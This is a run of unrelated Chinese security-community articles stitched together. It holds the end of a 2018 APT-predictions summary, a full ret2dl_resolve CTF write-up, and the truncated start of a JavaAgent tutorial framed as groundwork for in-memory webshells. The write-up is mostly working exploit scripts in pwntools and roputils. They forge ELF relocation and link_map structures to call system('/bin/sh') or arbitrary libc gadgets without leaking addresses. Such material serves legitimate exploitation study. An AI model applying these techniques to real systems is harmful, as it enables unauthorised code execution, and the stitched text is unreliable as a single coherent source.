在2016年11月，又发生了Shamoon 2.0攻击事件，此次目标是沙特阿拉伯多个关键部门和经济部门。就像之前的变种一样，Shamoon
2.0“雨刮器”的目标是对组织内部系统和 设备进行大规模破坏。
在调查Shamoon 2.0的攻击时，卡巴斯基实验室还发现了一个以前不为人知的恶意软件，似乎针对的也是沙特阿拉伯地区的组织。
我们已经把这种新“雨刷器”称为“StoneDrill”，它很有可能与Newsbeef APT组织存在关联。
除了Shamoon和Stonedrill,发生在2017年的极具破坏性的攻击活动还有很多，如ExPetr/
NotPetya攻击，最初被认为是勒索软件，结果被证明是一个巧妙伪装的“雨刷器”。
紧随其后的另一波“赎金”攻击，使得受害者几乎没有机会恢复他们的数据，这都是因为这些勒索软件都被 “雨刷器”巧妙地掩饰了。
关于“雨刷器即勒索软件”（wipers as ransomware）这一事实，在2016年出现的由CloudAtlas
APT组织发起的针对俄罗斯的金融机构的攻击活动中可以证实。
在2018年，我们预计破坏性攻击活动将继续上升，或许还会在网络战中占据极大地位。
## 更多的加密系统会被颠覆
在2017年3月，美国国家安全局开发的 IoT 加密方案提议遭到了 Simo n和 Speck 异体ISO认证的质疑，这两项提案都被撤回并推迟了。
2016年8月，Juniper
Networks宣布在他们的NetScreen防火墙中发现了两个神秘的后门。可能是Dual_EC随机数生成器所使用的常量发生了细微的变化，使得攻击者能够从NetScreen设备解密VPN流量。
最初的Dual_EC算法是由国家安全局设计的，并通过了NIST标准。
早在2013年，路透社(Reuters)的一份报告就显示，美国国家安全局(NSA)向RSA支付了1000万美元，把Dual_EC这个脆弱的算法集成到它的加密套件中
即使在2007年就从理论上确定了植入后门程序的可能性，一些公司(包括Juniper)仍采用了不同的常数集，继续使用该算法，这在理论上是安全的。
但是这组不同的常量并不能改变什么，一些APT攻击者仍会攻击Juniper，他们会将这些常量更改为一个可以控制和利用的内容来解密VPN流量。
这些尝试并没有被忽视。在2017年9月，一个国际密码学专家小组迫使美国国家安全局放弃了两种新的加密算法，该组织希望将其标准化。
2017年10月，新闻报道了英飞凌技术股份公司（Infineon
Technologies）在他们使用的硬件芯片加密库中的一个缺陷。虽然这一漏洞似乎是无意的，但它确实让我们对“智能卡、无线网络或加密Web流量等日常生活中使用的基础加密技术的安全性”产生了质疑。
在2018年，我们预测将会发现更加严重的加密漏洞，并希望无论是加密算法标准本身还是在具体的实践中出现的漏洞都能被修补。
## 会出现电子商务领域的身份认证危机
在过去的几年里，发生了大规模的个人信息泄露事件，比如涉及半数美国人的Equifax 漏洞事件。
虽然许多人已经对这些数据泄露事件麻木，但需要明白的是，规模化的个人信息信息泄露，可能会危及电子商务的基础。
欺诈和身份盗用问题是一个长期存在的问题，但当基本的身份识别信息泄露如此泛滥时，人们是否会认为相关企业根本就不可靠呢？
这时，商业和政府机构 (特别是在美国)
将面临一种选择，即缩减采用互联网运营的舒适度，或是采用其他多因素安全解决方案。换句话说，可能以后为了保证安全，用户体验可能没那么便捷了。
也许像 ApplePay
这样的有弹性的替代方案将会成为一种现实的方式来确保身份和交易，但同时，我们可能会看到，为了实现繁琐的官僚程序的现代化和降低运营成本，互联网的关键作用正在放缓。
## 会出现更多的路由器和调制解调器攻击
另一个被广泛忽视的领域是路由器和调制解调器。
其实，路由器已经成为各类破解秀中的常客了，因为不论是家里还是单位，它都成为了一个必不可少的硬件，，然而这些硬件上面运行的专有软件却又常处于未打补丁或无人看管的状态。
一些攻击者正是利用这一点，获取到网络持久和隐蔽性访问权。
在某些情况下，攻击者甚至可以模拟不同的互联网用户，将踪迹转移到完全不同的网络连接地址中。
预计到2018年，攻击者对误导和虚假标志的兴趣正在不断增加，对这些设备进行更严格的审查将会有更多的发现。
## 社交媒体的政治化作用凸显
从特朗普身上，大家应该都能感受到，社交媒体已经逐渐担任了重要的政治化角色，不少美国人甚至认为，是facebook帮助特朗普赢得了美国大选。
卡巴斯基预计，社交媒体政治化将会呈现更明显的滥用趋势，大型僵尸网络将成为更广泛的政治毒瘤，看来，大家对僵尸粉的厌恶是部分国界的。
## 总结
其实，
每一年的主题和趋势都不是孤立，翻看前几年的威胁预测可以看出，它们相互依赖，无论是个人、企业还是政府，所面临的威胁都在不断增长，能缓解这些威胁的，是高保真威胁情报，以及对于威胁情报的分享和应用。
虽然这些预测涵盖了高级目标威胁的趋势，但个别行业将面临自己独特的挑战。2018年，卡巴斯基将把目光更多的放在医疗、汽车、金融服务、工控安全等部门。
## 报告下载
[下载链接](https://cdn.securelist.com/files/2017/11/KSB_Predictions_2018_eng.pdf) | 社区文章 |
目标：利用dl_resolve执行libc内任意gadget（不需泄露libc地址）
实验代码下载地址：<https://github.com/bsauce/CTF/tree/master/dl_resolve_64>
分析：0CTF的题目blackhole2，很简单的栈溢出，但是远程不允许回显，所以不能泄露libc_base，不能返回shell。程序本身所含有的gadget有限，所以能不能不泄露libc_base就能使用libc中任意地址的gadget呢？
再构造ROP，读取flag，根据爆破flag。
* * *
## 1.dl_resolve原理——不用泄露地址
#### （1）节表认识
查看节表命令：`readelf -d bof` `readelf -S bof`
查看JMPREL（.rel.plt）：`readelf -r bof`
查看SYMTAB（.dynsym）：`readelf -s bof`
STRTAB——.dynstr 存字符串
SYMTAB——.dynsym 存动态链接符号表，结构如下Elf32_Sym：
JMPREL——.rel.plt 函数重定位
存Elf32_Rel{r_offset+r_info}（r_offset指向got表(.got.plt节全局函数偏移表)地址，r_info存偏移——第几个，根据r_info来找这个函数在.dynsym中是第几个）
REL—— .rel.dyn 变量重定位
PLTGOT—— .got.plt 常说的GOT表
.plt节 过程链接表，每个函数占0x10字节。过程链接表把位置独立的函数调用重定向到绝对位置。
typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Word;
typedef struct
{
Elf32_Word st_name; // Symbol name(string tbl index) 表示在.dynstr中的偏移
Elf32_Addr st_value; // Symbol value
Elf32_Word st_size; // Symbol size
unsigned char st_info; // Symbol type and binding
unsigned char st_other; // Symbol visibility under glibc>=2.2
Elf32_Section st_shndx; // Section index
} Elf32_Sym;
typedef struct {
Elf32_Addr r_offset; // 对于可执行文件，此值为虚拟地址
Elf32_Word r_info; // 符号表索引, r_info高8位表示index，低8位表示条目类型
} Elf32_Rel;
#define ELF32_R_SYM(info) ((info)>>8)
#define ELF32_R_TYPE(info) ((unsigned char)(info))
#define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))
#### (2)call read@plt的库函数调用过程
第一次调用read时：
gdb-peda$ x/3i read #plt
0x80482f0 <read@plt>: jmp DWORD PTR ds:0x804970c
0x80482f6 <read@plt+6>: push 0x0
0x80482fb <read@plt+11>: jmp 0x80482e0 #跳到.plt开头！！
gdb-peda$ x/wx 0x804970c #got表
0x804970c <read@got.plt>: 0x080482f6
gdb-peda$ x/2i 0x80482e0 #plt[0]，plt开头
0x80482e0: push DWORD PTR ds:0x8049704
0x80482e6: jmp DWORD PTR ds:0x8049708
（1）jmp
read@got.plt会跳回read@plt，将read的重定位偏移（在.rel.plt也就是JMPREL（存{r_offset(指向got表)+r_info}）中的偏移）压栈，跳到plt[0]也即plt（.plt—plt表，jmp那一块儿）开头（0x80482e0正好和read位置0x80482f0相差0x10），再将(.got.plt+4)（GOT[1]—got表，链接器的标识信息）压栈并跳到(.got.plt+0x8)（GOT[2]动态连接器中的入口点），相当于调用以下函数：
`_dl_runtime_resolve(link_map,
rel_offset);`（link_map—got[4]，rel_offset—JMPREL节，函数地址是got[8]）。
`_dl_runtime_resolve`会完成具体解析、填充结果和调用的工作。(即将真实的write函数地址写入其GOT条目中，随后把控制权交给write函数。)
（2）根据rel_offset找到重定位条目JMPREL（8字节）：
`Elf32_Rel * rel_entry = JMPREL + rel_offset;`
（3）再根据rel_entry中的符号表条目编号，得到对应符号信息结构SYMTAB（16字节）：
`Elf32_Sym *sym_entry = SYMTAB[ELF32_R_SYM(rel_entry->r_info)];`
（4）再找到符号名称。STRTAB
`char *sym_name = STRTAB + sym_entry->st_name;`
（5）最后，根据名称，搜索动态库。找到地址后，填充到.got.plt对应位置，最后调整栈，调用这一解析得到的函数。
#### （3）_dl_fixup函数流程
源码，_dl_fixup是在glibc-2.23/elf/dl-runtime.c实现（dl_runtime_resolve函数内部调用了dl_fixup）：
<https://code.woboq.org/userspace/glibc/elf/dl-runtime.c.html#1l>
59 DL_FIXUP_VALUE_TYPE
60 attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
61 _dl_fixup (
62 # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
63 ELF_MACHINE_RUNTIME_FIXUP_ARGS,
64 # endif
65 struct link_map *l, ElfW(Word) reloc_arg)
66 {
67 const ElfW(Sym) *const symtab
68 = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
69 const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
70 // 1.首先通过参数reloc_arg计算重定位入口，这里的JMPREL即.rel.plt，reloc_offset即reloc_arg
71 const PLTREL *const reloc
72 = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 2.然后通过reloc->r_info找到.dynsym中对应的条目
73 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
74 const ElfW(Sym) *refsym = sym;
75 void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
76 lookup_t result;
77 DL_FIXUP_VALUE_TYPE value;
78
79 /* Sanity check that we're really looking at a PLT relocation. */
// 3.这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
80 assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
81
82 /* Look up the target symbol. If the normal lookup rules are not
83 used don't look in the global scope. */
84 if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
85 {
86 const struct r_found_version *version = NULL;
87
88 if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
89 {
90 const ElfW(Half) *vernum =
91 (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
92 ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
93 version = &l->l_versions[ndx];
94 if (version->hash == 0)
95 version = NULL;
96 }
97
98 /* We need to keep the scope around so do some locking. This is
99 not necessary for objects which cannot be unloaded or when
100 we are not using any threads (yet). */
101 int flags = DL_LOOKUP_ADD_DEPENDENCY;
102 if (!RTLD_SINGLE_THREAD_P)
103 {
104 THREAD_GSCOPE_SET_FLAG ();
105 flags |= DL_LOOKUP_GSCOPE_LOCK;
106 }
107
108 #ifdef RTLD_ENABLE_FOREIGN_CALL
109 RTLD_ENABLE_FOREIGN_CALL;
110 #endif
111 // 4.接着通过strtab+sym->st_name找到符号表字符串，result为libc基地址
112 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
113 version, ELF_RTYPE_CLASS_PLT, flags, NULL);
114
115 /* We are done with the global scope. */
116 if (!RTLD_SINGLE_THREAD_P)
117 THREAD_GSCOPE_RESET_FLAG ();
118
119 #ifdef RTLD_FINALIZE_FOREIGN_CALL
120 RTLD_FINALIZE_FOREIGN_CALL;
121 #endif
122
123 /* Currently result contains the base load address (or link map)
124 of the object that defines sym. Now add in the symbol
125 offset. */
// 5.value为libc基址加上要解析函数的偏移地址，也即实际地址
126 value = DL_FIXUP_MAKE_VALUE (result,
127 SYMBOL_ADDRESS (result, sym, false));
128 }
129 else
130 {
131 /* We already found the symbol. The module (and therefore its load
132 address) is also known. */
133 value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
134 result = l;
135 }
136
137 /* And now perhaps the relocation addend. */
138 value = elf_machine_plt_value (l, reloc, value);
139
140 if (sym != NULL
141 && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
142 value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
143
144 /* Finally, fix up the plt itself. */
145 if (__glibc_unlikely (GLRO(dl_bind_not)))
146 return value;
147 // 6.最后把value写入相应的GOT表条目中
148 return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
149 }
主要流程如下：
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
// 1.首先通过参数reloc_arg计算重定位入口，这里的JMPREL即.rel.plt，reloc_offset即reloc_arg
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 2.然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 3.这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 4.接着通过strtab+sym->st_name找到符号表字符串，result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// 5.value为libc基址加上要解析函数的偏移地址，也即实际地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 6.最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
#### （4）利用libc中的gadget
可以在源码中看到，在第3步之后，当.dynsym节中Elf32_Sym结构的st_other值为非0时，会进入另一个不常见的分支，最终跳到（l->l_addr+sym->st_value）。
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr+sym->st_value);
result = l;
}
说明：l是link_map结构，link_map结构第一个变量就是l_addr。（应该没有检查，伪造的话）。以下是解析read地址时跳到got[8]时的link_map结构，可见l_addr==0：
利用方法：
1. 可以伪造link_map结构。
2. 使l_addr或st_value其中之一恰好落到某个地址解析已完成的GOT表处，另一个变量设置为可控偏移。
3. 这样就能跳到libc中任意地址（libc_func+offset）。
4. 我们可以利用libc中任意gadget。
* * *
## 2\. 32位dl_resolve
#### （1）32位dl_resolve构造模板
参见代码stage6_original.py
漏洞代码：
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}
利用步骤：
1. 控制eip为PLT[0]的地址，只需传递一个index_arg参数
2. 控制index_arg的大小，使reloc的位置落在可控地址内
3. 伪造reloc的内容，使sym落在可控地址内
4. 伪造sym的内容，使name落在可控地址内
5. 伪造name为任意库函数，如system
**利用第一阶段：**
把rop写入bss段，劫持栈并跳转过去。
#!/usr/bin/python
from pwn import *
elf = ELF('bof')
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']
ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"
stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size
r = process('./bof')
r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * offset
payload += p32(read_plt) # 读100个字节到base_stage
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage
r.sendline(payload)
利用第2阶段：
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
index_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc，减去rel_plt即偏移
write_got = elf.got['write']
dynsym = 0x080481d8 #readelf -d bof readelf -S bof
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)# 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10，得到write的dynsym索引号
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr #fake_sym（Elf32_Sym结构体）大小0x10
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()
固定模板，需要修改所有出现的地址。
#### （2）32位roputils库使用
参见代码stage6_roputils.py
代码如下：
#!/usr/bin/python
#coding:utf-8
import roputils
from pwn import *
#只需确定文件名+溢出偏移。roputils.py文件要放到同一目录下
fpath = './bof'
offset = 112
rop = roputils.ROP(fpath)
addr_bss = rop.section('.bss')
buf = rop.retfill(offset)
buf += rop.call('read', 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)
p=process(fpath)
print p.recv()
p.send(p32(len(buf)) + buf)
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)
p.send(buf)
p.interactive()
#### （3）32位执行libc任意gadget
首先看看正常的Elf32_Sym结构（read）：
typedef struct
{
Elf32_Word st_name; // Symbol name(string tbl index) 表示在.dynstr中的偏移
Elf32_Addr st_value; // Symbol value
Elf32_Word st_size; // Symbol size
unsigned char st_info; // Symbol type and binding
unsigned char st_other; // Symbol visibility under glibc>=2.2
Elf32_Section st_shndx; // Section index
} Elf32_Sym;
如下可见read函数的结构的值和参数意义：
目标：执行libc-2.23.so中的gadget 0x8fa05 : cmp byte ptr [eax], dl ; pop edi ; ret。
方法：伪造symtab条目，对比可知：
> fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
> fake_sym = p32(0) + p32(fake_st_value) + p32(0) + p32(0x112)
>
> libc.symbos[' **libc_start_main']=0x18540
> fake_st_value=0x8fa05-0x18540=0x774C5
> fake_link_map=elf.got['**libc_start_main']=0x0804A018
st_name不需要管。
问题：如何伪造link_map?
伪造的link_map地址是libc_start_main的GOT表地址。通过跟踪dl_fixup
函数发现，dl_fixup引用了link_map+0x34/0x38/0x7c处的3个值来寻找STRTAB/SYMTAB/JMPREL这3个表。
解决：提前往link_map+0x34/0x38/0x7c写入有效值。
有两种方法：
##### 方法1——3个值不变
代码可参考 **stage6_libc1.py** 。
其实就是 x/100xw GOT[4]即可发现3个偏移处原本的值，利用read把3个值写到对应偏移处。
##### 方法2——3个值构造
代码可参考 **stage6_libc2.py** 。
把link_map+0x34/0x38/0x7c处的值记作val_0x34，val_0x38，val_0x7c，也即[link_map+0x34/0x38/0x7c]。跟踪发现，是这样寻找的：
> [val_0x34+4]==STRTAB dynstr
> [val_0x38+4]==SYMTAB dynsym
> [val_0x7c+4]==JMPREL rel_plt
可以把dynstr、dynsym、rel_plt这3个地址都设置为同一个值base_stage（val_0x34=val_0x38=val_0x7c=base_stage+80-4，[base_stage+80]=base_stage），这样布置bss段伪造栈就更简洁。
* * *
## 3.64位dl_resolve
#### （1）原理
区别：结构体变化 & 寄存器传参。
##### 1.64位relocation entry的结构体定义如下（24 bytes）：
typedef __u16 Elf64_Half;
typedef __u32 Elf64_Word;
typedef __u64 Elf64_Addr;
typedef __u64 Elf64_Xword;
typedef __s64 Elf64_Sxword;
typedef struct elf64_rela {
Elf64_Addr r_offset; /* Location at which to apply the action */
Elf64_Xword r_info; /* index and type of relocation */
Elf64_Sxword r_addend; /* Constant addend used to compute value */
} Elf64_Rela;
#define ELF64_R_SYM(i) ((i) >> 32) #define ELF64_R_TYPE(i) ((i) & 0xffffffff)
#roputils中，64位下构造伪Elf64_Rela的代码如下
...
r_info = (((addr_sym - symtab) / syment) << 32) | 0x7
...
buf += struct.pack('<QQQ', base, r_info, 0) # Elf64_Rela
注意，这里r_offset、r_info、r_addend都变成了8字节长度，r_info中分4+4字节。
##### 2.SYMTAB中的条目定义（24 bytes）
可以看到，st_info和st_other等的位置提前了。
typedef struct elf64_sym {
Elf64_Word st_name; /* Symbol name, index in string tbl */ //4
unsigned char st_info; /* Type and binding attributes */ //1
unsigned char st_other; /* No defined meaning, 0 */ //1
Elf64_Half st_shndx; /* Associated section index */ //2
Elf64_Addr st_value; /* Value of the symbol */ //8
Elf64_Xword st_size; /* Associated symbol size */ //8
} Elf64_Sym;
#roputils中，伪造SYMTAB条目代码：
buf += struct.pack('<IIQQ', st_name, 0x12, 0, 0) # Elf64_Sym
##### 3.参数传递
//read@plt
.plt:00000000004005C0 _read proc near ; CODE XREF: vuln+3E↓p
.plt:00000000004005C0 jmp cs:off_601038
.plt:00000000004005C6 push 4
.plt:00000000004005CB jmp sub_400570
//plt[0]
.plt:0000000000400570 push cs:qword_601008
.plt:0000000000400576 jmp cs:qword_601010
//GOT[0]
.got.plt:0000000000601000 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got.plt:0000000000601008 qword_601008 dq 0 ; DATA XREF: sub_400570↑r
.got.plt:0000000000601010 qword_601010 dq 0 ; DATA XREF: sub_400570+6↑r
.got.plt:0000000000601018 off_601018 dq offset write ; DATA XREF: _write↑r
可以看到，给_dl_runtime_resolve传递的参数仍然是两个，但第二个参数已由之前32位的相对JMPREL的偏移变为该条目的在数组中的index。（除以24）
另外，注意到给_dl_runtime_resolve传递参数的方式，依然是通过栈，而非一般情况下通过寄存器传递。这是因为此时的寄存器rdi等中已经存有要解析的函数所需的参数了。我们需提前将/bin/sh地址等参数放在寄存器中。
##### 4.在解析函数地址之前，将`link_map+0x1c8`处设为NULL。
对应的检测代码如下：
/* Look up the target symbol. If the normal lookup rules are not used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
这里，应该是由于我们构造的伪symbol的index过大，使得`vernum[ELFW(R_SYM)
(reloc->r_info)]`读取出错。所以只需令`l->l_info[VERSYMIDX (DT_VERSYM)] ==
NULL`，也即将`link_map+0x1c8`处设为NULL。
所以，需先泄露GOT[8]，再修改`*(GOT[8]+0x1c8)==null`。
#### （2）64位dl_resolve构造模板
参见代码`stage6_original.py`。
主要4点变化：JMPREL条目构造、SYMTAB条目构造、JMPREL偏移参数->下标、link_map+0x1c8处写0。
#### （3）64位roputils库使用
参见代码`dl-resolve-x86-64.py`。
步骤：
1. 泄露&link_map地址（万能gadget）
2. 往bss段写入ROP链和伪造的结构（万能gadget）
3. 跳到bss段，bss段ROP先往link_map+0x1c8写0; 同时往bss段写入伪造结构。
#### （4）64位执行libc任意gadget——不用泄露地址
目标：执行libc-2.23.so中的gadget 0x8eb46 : cmp byte ptr [rax], dl ; ret。
方法：伪造symtab条目，对比可知：
> fake_sym = p32(st_name) + p32(0x12) + p64(0) + p64(0)
> fake_sym = p32(0) + p32(0x112) + p64(fake_st_value) + p64(0)
>
> libc.symbos[' **libc_start_main']=0x20740
> fake_st_value=0x8eb46-0x20740=0x6E406
> fake_link_map=elf.got['**libc_start_main']=0x601038
st_name不需要管。
##### 问题1：如何伪造link_map?
伪造的link_map地址是libc_start_main的GOT表地址。通过跟踪dl_fixup
函数发现，dl_fixup引用了link_map+0x68/0x70/0xf8处的3个值来寻找STRTAB/SYMTAB/JMPREL这3个表。
解决1：提前往link_map+0x68/0x70/0xf8写入有效值。
有两种方法。
##### 问题2：l_addr+r_offset处必须可写。
解决2：l_addr这里的值是libc_start_main
地址，那么我们可以控制好r_offset即可。r_offset=libc['.bss']-libc.symbols['libc_start_main']。
##### 方法1——3个值不变
代码可参考`stage6_libc1_64.py`，这个代码的目标是不泄露地址，然后执行gadget 0x8eb46 : cmp byte ptr
[rax], dl ; ret。 如果想看执行onegadget获得shell的话可以把0x8eb46改成onegadget
0xf1147，或者直接试试附件的示例。
其实就是 x/100xw GOT[8]即可发现3个偏移处原本的值，利用read把3个值写到对应偏移处。
##### 方法2——3个值构造
代码可参考`stage6_libc2_64.py`，这个代码的目标是不泄露地址，然后执行gadget 0x8eb46 : cmp byte ptr
[rax], dl ; ret。如果想看执行onegadget获得shell的话可以把0x8eb46改成onegadget
0xf1147，或者直接试试附件的示例。
把`link_map+0x68/0x70/0xf8`处的值记作val_0x68，val_0x70，val_0xf8，也即`[link_map+0x68/0x70/0xf8]`。跟踪发现，是这样寻找的：
> [val_0x68+4]==STRTAB dynstr
> [val_0x70+4]==SYMTAB dynsym
> [val_0xf8+4]==JMPREL rel_plt
可以把dynstr、dynsym、rel_plt这3个地址都设置为同一个值base_stage（val_0x68=val_0x70=val_0xf8=base_stage+0xc0-8，[0xc0]=base_stage），这样布置bss段伪造栈就更简洁。
参考：
<http://pwn4.fun/2016/11/09/Return-to-dl-resolve/>
<http://rk700.github.io/2015/08/09/return-to-dl-resolve/> | 社区文章 |
# 初识——JavaAgent的宿命
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在各大HW轮番对国内Web安全生态进行考核之后,安全设备大量普及.而基于Web的一句话木马显得力不从心,于是在Shiro反序列化的RCE大潮之际,无落地文件的内存马登上历史舞台,内存马实现之一的技术便是JavaAgent,于是下文便对JavaAgent进行学习，为后面文章埋下伏笔。
## JavaAgent简介
Java Agent 直译过来叫做 Java 代理，还有另一种称呼叫做 Java 探针。首先说 Java Agent 是一个 jar 包，只不过这个 jar
包不能独立运行，它需要依附到我们的目标 JVM 进程中。
Agent 是在 Java 虚拟机启动之时加载的，这个加载处于虚拟机初始化的早期，在这个时间点上：
1.所有的 Java 类都未被初始化；
2.所有的对象实例都未被创建；
3.因而，没有任何 Java 代码被执行；
Javaagent是java命令的一个参数。参数 javaagent 可以用于指定一个 jar 包，并且对该 java 包有2个要求：
1.agent的这个 jar 包的 MANIFEST.MF 文件必须指定 Premain-Class 项。
2.Premain-Class 指定的那个类必须实现 premain() 方法。
## JavaAgent的应用场景
各个 Java IDE 的调试功能，例如 eclipse、IntelliJ ；
热部署功能，例如 JRebel、XRebel、 spring-loaded；
各种线上诊断工具，例如 Btrace、Greys，还有阿里的 Arthas；
各种性能分析工具，例如 Visual VM、JConsole 等；
## 代码实现Agent类
### 1.创建JavaMaven项目
### 2.在Maven依赖中添加
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
</dependencies>
### 3.创建一个agent类，声明agent入口函数
public class MyCustomAgent {
/**
* jvm 参数形式启动，运行此方法
* @param agentArgs
* @param inst
*/
public static void premain(String agentArgs, Instrumentation inst){
System.out.println("premain");
customLogic(inst);
}
/**
* 动态 attach 方式启动，运行此方法
* @param agentArgs
* @param inst
*/
public static void agentmain(String agentArgs, Instrumentation inst){
System.out.println("agentmain");
customLogic(inst);
}
/**
* 打印所有已加载的类名称
* 修改字节码
* @param inst
*/
private static void customLogic(Instrumentation inst){
inst.addTransformer(new MyTransformer(), true);
Class[] classes = inst.getAllLoadedClasses();
for(Class cls :classes){
System.out.println(cls.getName());
}
}
}
### 4.创建一个自定义的方法，对被代理的Java类进行处理
public class MyTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println("Loading Class :"+ className);
if (!"Test".equals(className)){
return classfileBuffer;
}
CtClass cl = null;
try {
ClassPool classPool = ClassPool.getDefault();
cl = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
CtMethod ctMethod = cl.getDeclaredMethod("test");
System.out.println("Get Method Name :"+ ctMethod.getName());
ctMethod.insertBefore("System.out.println(\"before the method \");");
ctMethod.insertAfter("System.out.println(\"after the method \");");
byte[] transformed = cl.toBytecode();
return transformed;
}catch (Exception e){
e.printStackTrace();
}
return classfileBuffer;
}
}
ClassPool classPool = ClassPool.getDefault();
cl = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
CtMethod ctMethod = cl.getDeclaredMethod("test");
System.out.println("Get Method Name :"+ ctMethod.getName());
ctMethod.insertBefore("System.out.println(\"before the method \");");
ctMethod.insertAfter("System.out.println(\"after the method \");");
此代码的含义是获取被加强类,使用反射的方式获取方法名称为test()的函数,然后使用ctMethod.insertBefore方法在调用前执行内容,ctMethod.insertAfter方法在调用后执行内容
### 5.在resources下创建META-INF/MANIFEST.MF文件
Manifest-Version: 1.0
Created-By: 雁不过衡阳
Agent-Class: MyCustomAgent
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: MyCustomAgent
### 6.最后 Java Agent 是以 jar 包的形式存在，所以最后一步就是将上面的内容打到一个 jar 包里。
在 pom 文件中加入以下配置
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<archive>
